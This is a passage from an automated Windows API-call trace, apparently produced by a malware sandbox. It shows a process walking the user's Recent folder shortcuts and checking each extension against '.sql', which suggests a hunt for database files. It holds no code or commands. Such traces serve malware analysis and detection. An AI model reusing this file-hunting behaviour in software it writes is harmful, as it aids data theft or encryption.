(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="sq-y33jTJDe8y5s5Pm.flv.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="sq-y33jTJDe8y5s5Pm.flv.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sq-y33jTJDe8y5s5Pm.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="srk1.flv.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="srk1.flv.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="srk1.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="SVN91cv_iHYxat.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="SVN91cv_iHYxat.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="SVN91cv_iHYxat.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="T0U3EmSD.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="T0U3EmSD.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="T0U3EmSD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="T21W3FSXJ7JpSCXp.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="T21W3FSXJ7JpSCXp.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="T21W3FSXJ7JpSCXp.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="TCfZ31T4.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="TCfZ31T4.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="TCfZ31T4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="tgUnQFz.flv.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="tgUnQFz.flv.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tgUnQFz.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="tIZlz3oLFvDkmXZ.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="tIZlz3oLFvDkmXZ.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tIZlz3oLFvDkmXZ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="tlE6ao_mfe1zAPU.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="tlE6ao_mfe1zAPU.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="tlE6ao_mfe1zAPU.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="TrUGiHFGXsM_7X.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="TrUGiHFGXsM_7X.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="TrUGiHFGXsM_7X.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="U53LX.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="U53LX.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="U53LX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned 72 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="UmYv.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="UmYv.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="UmYv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned 71 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="uNON (2).lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="uNON (2).lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="uNON (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk") returned 75 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="uNON.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="uNON.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="uNON.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk") returned 71 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="v3kq.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="v3kq.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="v3kq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk" [0054.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk") returned 71 [0054.797] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.797] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.797] lstrcmpW (lpString1="Videos.lnk", lpString2=".") returned 1 [0054.797] lstrcmpW (lpString1="Videos.lnk", lpString2="..") returned 1 [0054.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Videos.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned 73 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="vokX63XlsbhJHT0r.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="vokX63XlsbhJHT0r.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vokX63XlsbhJHT0r.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk") returned 83 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="vWO_nHAQmsUVwAMd0Z82.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="vWO_nHAQmsUVwAMd0Z82.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vWO_nHAQmsUVwAMd0Z82.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk") returned 87 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="vXxmRwzZCj_sg.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="vXxmRwzZCj_sg.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vXxmRwzZCj_sg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk") returned 80 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="we _xEQTC-XaBOe0W.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="we _xEQTC-XaBOe0W.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="we _xEQTC-XaBOe0W.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk") returned 84 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="WjNoxg.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="WjNoxg.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="WjNoxg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk") returned 73 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="WQpPr2duNweKE.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="WQpPr2duNweKE.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="WQpPr2duNweKE.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk") returned 80 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="wr XEQqTY.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="wr XEQqTY.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wr XEQqTY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk") returned 76 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="wU6cO4bxfsD-glD-SMu.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="wU6cO4bxfsD-glD-SMu.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wU6cO4bxfsD-glD-SMu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk") returned 86 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="wuSgr.lnk", lpString2=".") returned 1 [0054.798] lstrcmpW (lpString1="wuSgr.lnk", lpString2="..") returned 1 [0054.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wuSgr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk" [0054.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk") returned 72 [0054.798] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.798] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.798] lstrcmpW (lpString1="XDfXtYW.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="XDfXtYW.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="XDfXtYW.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk") returned 74 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="xuMNmaAQwzS.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="xuMNmaAQwzS.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xuMNmaAQwzS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk") returned 78 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="xX9L.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="xX9L.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xX9L.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk" [0054.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk") returned 71 [0054.799] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.799] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.799] lstrcmpW (lpString1="xxlpD7In_.lnk", lpString2=".") returned 1 [0054.799] lstrcmpW (lpString1="xxlpD7In_.lnk", lpString2="..") returned 1 [0054.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xxlpD7In_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk") 